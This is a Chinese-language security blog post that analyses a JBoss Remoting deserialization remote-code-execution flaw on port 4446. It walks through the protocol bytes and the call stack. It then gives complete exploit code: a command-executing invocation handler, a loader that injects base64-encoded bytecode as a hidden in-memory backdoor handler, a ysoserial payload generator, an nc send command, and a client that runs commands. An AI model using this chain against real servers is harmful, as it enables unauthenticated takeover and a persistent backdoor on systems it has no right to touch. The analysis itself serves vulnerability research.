看到推上发了jboss的0day rce,分析一下。
这个洞是在国外Alligator Conference 2019会议上的一个议题,ppt在这里 https://s3.amazonaws.com/files.joaomatosf.com/slides/alligator_slides.pdf
议题中讲到了jboss的4446端口反序列化rce,和一条jndi注入的gadget。
jboss默认会开几个端口
端口 | 状态 | 目的 |
---|---|---|
1098 | 启用 | RMI 命名服务 |
3528 | 已禁用 | IANA 分配的 IIOP 端口 |
4444 | 启用 | RMI JRMP 调用程序 |
4445 | 启用 | RMI 池调用程序 |
4446 | 启用 | 远程服务器连接器 |
4447 | 启用 | 远程服务器连接器 |
4457 | 启用 | 远程服务器连接器 |
4712 | 启用 | JBossTS 恢复管理器 |
4713 | 启用 | JBossTS 事务状态管理器 |
4714 | 启用 | JBossTS 的进程 ID |
8080 | 启用 | HTTP 连接器 |
8083 | 启用 | RMI 类加载迷你 Web 服务器 |
8443 | 启用 | JBossWS HTTPS 连接器套接字 |
其中4445端口有一个历史RCE cve-2016-3690,是PooledInvokerServlet反序列化。
这次问题出在4446,这是个Remoting3端口,官网介绍看这里,看了看remoting3的文档没写,可以先看2的文档。
这是一个架构图
直接向4446发送一些数据
明显的aced0005,但是没有其他的东西了,可能是对数据的解析进行了特殊处理,我们使用api来远程调用一下。
创建一个maven项目,导入jboss remoting2的包,或者从 https://jbossremoting.jboss.org/downloads.html 直接下载jar包也行。
maven配置参考520师傅的
1<dependency>
2 <groupId>org.jboss.remoting</groupId>
3 <artifactId>jboss-remoting</artifactId>
4 <version>2.5.4.SP5</version>
5</dependency>
6<dependency>
7 <groupId>org.jboss.logging</groupId>
8 <artifactId>jboss-logging</artifactId>
9 <version>3.3.0.Final</version>
10</dependency>
11<dependency>
12 <groupId>org.jboss</groupId>
13 <artifactId>jboss-common-core</artifactId>
14 <version>2.5.0.Final</version>
15 <exclusions>
16 <exclusion>
17 <groupId>org.jboss.logging</groupId>
18 <artifactId>jboss-logging-spi</artifactId>
19 </exclusion>
20 </exclusions>
21</dependency>
22<dependency>
23 <groupId>concurrent</groupId>
24 <artifactId>concurrent</artifactId>
25 <version>1.3.4</version>
26</dependency>
客户端先发一个0xaced0005,服务端回复一个0xaced0005,然后客户端发0x77011679…等。其中0x77011679分别表示
1final static byte TC_BLOCKDATA = (byte)0x77;
2final static byte SC_WRITE_METHOD = 0x01;
30x16 Protocol version 22
4final static byte TC_RESET = (byte)0x79;
后面的东西就是payload了,所以我们只需要替换yso生成的payload的前四个字节。
4446和3873端⼝均可利⽤。
在org.jboss.remoting.transport.socket.ServerThread#processInvocation
中处理了0x16,读出来协议版本为22
在org.jboss.remoting.transport.socket.ServerThread#versionedRead
中会调用this.unmarshaller.read()
在read中调用java类型的原生反序列化org.jboss.remoting.serialization.impl.java.JavaSerializationManager#receiveObject
除了java以外还有别的
最后就进入了readObject
完整的堆栈
1exec:348, Runtime (java.lang)
2invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
3invoke:62, NativeMethodAccessorImpl (sun.reflect)
4invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
5invoke:498, Method (java.lang.reflect)
6transform:125, InvokerTransformer (org.apache.commons.collections.functors)
7transform:122, ChainedTransformer (org.apache.commons.collections.functors)
8get:151, LazyMap (org.apache.commons.collections.map)
9getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
10toString:131, TiedMapEntry (org.apache.commons.collections.keyvalue)
11readObject:86, BadAttributeValueExpException (javax.management)
12invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
13invoke:62, NativeMethodAccessorImpl (sun.reflect)
14invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
15invoke:498, Method (java.lang.reflect)
16invokeReadObject:1185, ObjectStreamClass (java.io)
17readSerialData:2319, ObjectInputStream (java.io)
18readOrdinaryObject:2210, ObjectInputStream (java.io)
19readObject0:1690, ObjectInputStream (java.io)
20readObject:508, ObjectInputStream (java.io)
21readObject:466, ObjectInputStream (java.io)
22receiveObjectVersion2_2:238, JavaSerializationManager (org.jboss.remoting.serialization.impl.java)
23receiveObject:138, JavaSerializationManager (org.jboss.remoting.serialization.impl.java)
24read:123, SerializableUnMarshaller (org.jboss.remoting.marshal.serializable)
25versionedRead:900, ServerThread (org.jboss.remoting.transport.socket)
26completeInvocation:754, ServerThread (org.jboss.remoting.transport.socket)
27processInvocation:744, ServerThread (org.jboss.remoting.transport.socket)
28dorun:548, ServerThread (org.jboss.remoting.transport.socket)
29run:234, ServerThread (org.jboss.remoting.transport.socket)
研究了一下jboss的remoting,可以写一个类继承自ServerInvocationHandler接口,通过classloader定义到jvm中,然后client查询即可。
关于jboss remoting开发的可以直接看官方的sample,从这里下载
注册ServerInvocationHandler可以调用org.jboss.remoting.ServerInvoker#addInvocationHandler
函数,我们需要在线程中找到ServerInvoker的值反射获取以此来动态添加handler。
调试来看在当前线程中就有handler所在的hashmap,所以我们只需要把我们的EvilHandler put进去就行了。
其中ASD就是我的handler
这里直接贴代码,首先需要一个JbossInvocationHandler来执行命令。
1package ysoserial.payloads.templates;
2
3import org.jboss.remoting.InvocationRequest;
4import org.jboss.remoting.ServerInvocationHandler;
5import org.jboss.remoting.ServerInvoker;
6import org.jboss.remoting.callback.InvokerCallbackHandler;
7
8import javax.management.MBeanServer;
9
10public class JbossInvocationHandler implements ServerInvocationHandler, Runnable {
11
12 @Override
13 public void run() {
14 }
15
16 @Override
17 public void setMBeanServer(MBeanServer mBeanServer) {
18 }
19
20 @Override
21 public void setInvoker(ServerInvoker serverInvoker) {
22 }
23
24 @Override
25 public Object invoke(InvocationRequest invocationRequest) throws Throwable {
26 String cmd = (String) invocationRequest.getParameter();
27 System.out.println("接收到命令:" + cmd);
28 String[] cmds = new String[]{"cmd", "/c", cmd};
29 if (!System.getProperty("os.name").toLowerCase().contains("win")) {
30 cmds = new String[]{"bash", "-c", cmd};
31 }
32 java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmds).getInputStream(), "gbk").useDelimiter("\\A");
33 return s.hasNext() ? s.next() : "no result";
34 }
35
36 @Override
37 public void addListener(InvokerCallbackHandler invokerCallbackHandler) {
38 }
39
40 @Override
41 public void removeListener(InvokerCallbackHandler invokerCallbackHandler) {
42 }
43}
然后base64编码用classloader加载
1package ysoserial.payloads.templates;
2
3import org.jboss.remoting.ServerInvocationHandler;
4import org.jboss.remoting.transport.socket.ServerThread;
5import org.jboss.remoting.transport.socket.SocketServerInvoker;
6
7import java.lang.reflect.Field;
8import java.lang.reflect.Method;
9import java.net.URL;
10import java.net.URLClassLoader;
11
12public class Loader {
13 static {
14 try {
15 byte[] bytes = base64Decode("yv66vgAAADIAkAoAIABKCgBLAEwHAE0JAE4ATwcAUAoABQBKCABRCgAFAFIKAAUAUwoAVABVCAA3CABWCABXCgBOAFgKAAMAWQgAWgoAAwBbCABcCABdBwBeCgBfAGAKAF8AYQoAYgBjCABkCgAUAGUIAGYKABQAZwoAFABoCgAUAGkIAGoHAGsHAGwHAG0HAG4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEANUx5c29zZXJpYWwvcGF5bG9hZHMvdGVtcGxhdGVzL0pib3NzSW52b2NhdGlvbkhhbmRsZXI7AQADcnVuAQAOc2V0TUJlYW5TZXJ2ZXIBACEoTGphdmF4L21hbmFnZW1lbnQvTUJlYW5TZXJ2ZXI7KVYBAAttQmVhblNlcnZlcgEAHkxqYXZheC9tYW5hZ2VtZW50L01CZWFuU2VydmVyOwEACnNldEludm9rZXIBACUoTG9yZy9qYm9zcy9yZW1vdGluZy9TZXJ2ZXJJbnZva2VyOylWAQANc2VydmVySW52b2tlcgEAIkxvcmcvamJvc3MvcmVtb3RpbmcvU2VydmVySW52b2tlcjsBAAZpbnZva2UBADooTG9yZy9qYm9zcy9yZW1vdGluZy9JbnZvY2F0aW9uUmVxdWVzdDspTGphdmEvbGFuZy9PYmplY3Q7AQARaW52b2NhdGlvblJlcXVlc3QBACZMb3JnL2pib3NzL3JlbW90aW5nL0ludm9jYXRpb25SZXF1ZXN0OwEAA2NtZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABcwEAE0xqYXZhL3V0aWwvU2Nhbm5lcjsBAA1TdGFja01hcFRhYmxlBwBNBwA6BwBeAQAKRXhjZXB0aW9ucwcAbwEAC2FkZExpc3RlbmVyAQA3KExvcmcvamJvc3MvcmVtb3RpbmcvY2FsbGJhY2svSW52b2tlckNhbGxiYWNrSGFuZGxlcjspVgEAFmludm9rZXJDYWxsYmFja0hhbmRsZXIBADRMb3JnL2pib3NzL3JlbW90aW5nL2NhbGxiYWNrL0ludm9rZXJDYWxsYmFja0hhbmRsZXI7AQAOcmVtb3ZlTGlzdGVuZXIBAApTb3VyY2VGaWxlAQAbSmJvc3NJbnZvY2F0aW9uSGFuZGxlci5qYXZhDAAjACQHAHAMAHEAcgEAEGphdmEvbGFuZy9TdHJpbmcHAHMMAHQAdQEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAS5o6l5pS25Yiw5ZG95Luk77yaDAB2AHcMAHgAeQcAegwAewB8AQACL2MBAAdvcy5uYW1lDAB9AH4MAH8AeQEAA3dpbgwAgACBAQAEYmFzaAEAAi1jAQARamF2YS91dGlsL1NjYW5uZXIHAIIMAIMAhAwAhQCGBwCHDACIAIkBAANnYmsMACMAigEAAlxBDACLAIwMAI0AjgwAjwB5AQAJbm8gcmVzdWx0AQAzeXNvc2VyaWFsL3BheWxvYWRzL3RlbXBsYXRlcy9KYm9zc0ludm9jYXRpb25IYW5kbGVyAQAQamF2YS9sYW5nL09iamVjdAEAKm9yZy9qYm9zcy9yZW1vdGluZy9TZXJ2ZXJJbnZvY2F0aW9uSGFuZGxlcgEAEmphdmEvbGFuZy9SdW5uYWJsZQEAE2phdmEvbGFuZy9UaHJvd2FibGUBACRvcmcvamJvc3MvcmVtb3RpbmcvSW52b2NhdGlvblJlcXVlc3QBAAxnZXRQYXJhbWV0ZXIBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQALdG9Mb3dlckNhc2UBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAqKExqYXZhL2lvL0lucHV0U3RyZWFtO0xqYXZhL2xhbmcvU3RyaW5nOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAHaGFzTmV4dAEAAygpWgEABG5leHQAIQAfACAAAgAhACIAAAAHAAEAIwAkAAEAJQAAAC8AAQABAAAABSq3AAGxAAAAAgAmAAAABgABAAAACgAnAAAADAABAAAABQAoACkAAAABACoAJAABACUAAAArAAAAAQAAAAGxAAAAAgAmAAAABgABAAAADgAnAAAADAABAAAAAQAoACkAAAABACsALAABACUAAAA1AAAAAgAAAAGxAAAAAgAmAAAABgABAAAAEgAnAAAAFgACAAAAAQAoACkAAAAAAAEALQAuAAEAAQAvADAAAQAlAAAANQAAAAIAAAABsQAAAAIAJgAAAAYAAQAAABYAJwAAABYAAgAAAAEAKAApAAAAAAABADEAMgABAAEAMwA0AAIAJQAAAQkABAAFAAAAhCu2AALAAANNsgAEuwAFWbcABhIHtgAILLYACLYACbYACga9AANZAxILU1kEEgxTWQUsU04SDbgADrYADxIQtgARmgAWBr0AA1kDEhJTWQQSE1NZBSxTTrsAFFm4ABUttgAWtgAXEhi3ABkSGrYAGzoEGQS2AByZAAsZBLYAHacABRIesAAAAAMAJgAAAB4ABwAAABoACAAbACEAHAA0AB0ARAAeAFcAIABxACEAJwAAADQABQAAAIQAKAApAAAAAACEADUANgABAAgAfAA3ADgAAgA0AFAAOQA6AAMAcQATADsAPAAEAD0AAAAVAAP9AFcHAD4HAD/8ACkHAEBBBwA+AEEAAAAEAAEAQgABAEMARAABACUAAAA1AAAAAgAAAAGxAAAAAgAmAAAABgABAAAAJgAnAAAAFgACAAAAAQAoACkAAAAAAAEARQBGAAEAAQBHAEQAAQAlAAAANQAAAAIAAAABsQAAAAIAJgAAAAYAAQAAACoAJwAAABYAAgAAAAEAKAApAAAAAAABAEUARgABAAEASAAAAAIASQ==");
16 ClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
17 Method defineClass = classLoader.getClass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
18 defineClass.setAccessible(true);
19 Class invoke = (Class) defineClass.invoke(classLoader, bytes, 0, bytes.length);
20 Object instance = invoke.newInstance();
21
22 ServerThread serverThread = (ServerThread) Thread.currentThread();
23 Field invoker = serverThread.getClass().getDeclaredField("invoker");
24 invoker.setAccessible(true);
25 SocketServerInvoker invokeObj = (SocketServerInvoker) invoker.get(serverThread);
26 invokeObj.addInvocationHandler("Y4er", (ServerInvocationHandler) instance);
27 } catch (Throwable e) {
28 e.printStackTrace();
29 }
30 }
31
32 public static byte[] base64Decode(String bs) throws Exception {
33 Class base64;
34 byte[] value = null;
35 try {
36 base64 = Class.forName("java.util.Base64");
37 Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
38 value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
39 } catch (Exception e) {
40 try {
41 base64 = Class.forName("sun.misc.BASE64Decoder");
42 Object decoder = base64.newInstance();
43 value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
44 } catch (Exception e2) {
45 }
46 }
47 return value;
48 }
49}
最后用CB183生成payload。
1package ysoserial;
2
3import com.google.common.io.Files;
4import javassist.ClassPool;
5import javassist.CtClass;
6import org.apache.commons.codec.binary.Base64;
7import org.apache.commons.lang.ArrayUtils;
8import ysoserial.payloads.CommonsBeanutils183NOCC;
9import ysoserial.payloads.templates.JbossInvocationHandler;
10
11import java.io.File;
12import java.util.Arrays;
13
14public class JbossRemoting {
15 public static void main(String[] args) throws Exception {
16 ClassPool pool = ClassPool.getDefault();
17 CtClass ctClass = pool.get(JbossInvocationHandler.class.getName());
18 String s = Base64.encodeBase64String(ctClass.toBytecode());
19 System.out.println(s);
20
21 Object calc = new CommonsBeanutils183NOCC().getObject("CLASS:Loader");
22 byte[] serialize = Serializer.serialize(calc);
23
24 byte[] aced = Arrays.copyOfRange(serialize, 0, 4);
25 byte[] range = Arrays.copyOfRange(serialize, 4, serialize.length);
26 byte[] bs = new byte[]{0x77, 0x01, 0x16, 0x79};
27 System.out.println(aced.length + range.length == serialize.length);
28 byte[] bytes = ArrayUtils.addAll(aced, bs);
29 bytes = ArrayUtils.addAll(bytes, range);
30 Files.write(bytes, new File("E:\\tools\\code\\ysoserial\\target\\payload.ser"));
31 }
32}
然后nc发送
1cat payload.ser |nc 127.0.0.1 4446|hexdump -C
然后新建一个client去执行命令
1package org.jboss.remoting.samples.myclient;
2
3import org.jboss.remoting.Client;
4import org.jboss.remoting.InvokerLocator;
5
6public class MyClient {
7 public static void main(String[] args) throws Throwable {
8 InvokerLocator locator = new InvokerLocator("socket://127.0.0.1:4446/");
9 Client client = new Client(locator);
10 client.setSubsystem("Y4er");
11 client.connect();
12 Object as = client.invoke("dir");
13 System.out.println(as);
14 client.disconnect();
15 }
16}
jboss日志中
org.jboss.ejb3.mdb.ProducerManagerImpl#readExternal
很直观
不详细展开了
jboss的rpc有多种传输方式,其内置了几种反序列化方式,其他协议是否会有问题?
jboss的remoting挺有意思,看了官方sample,可以rmi、socket、http等多种方式调用,除了handler是否有其他的回显方式?
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。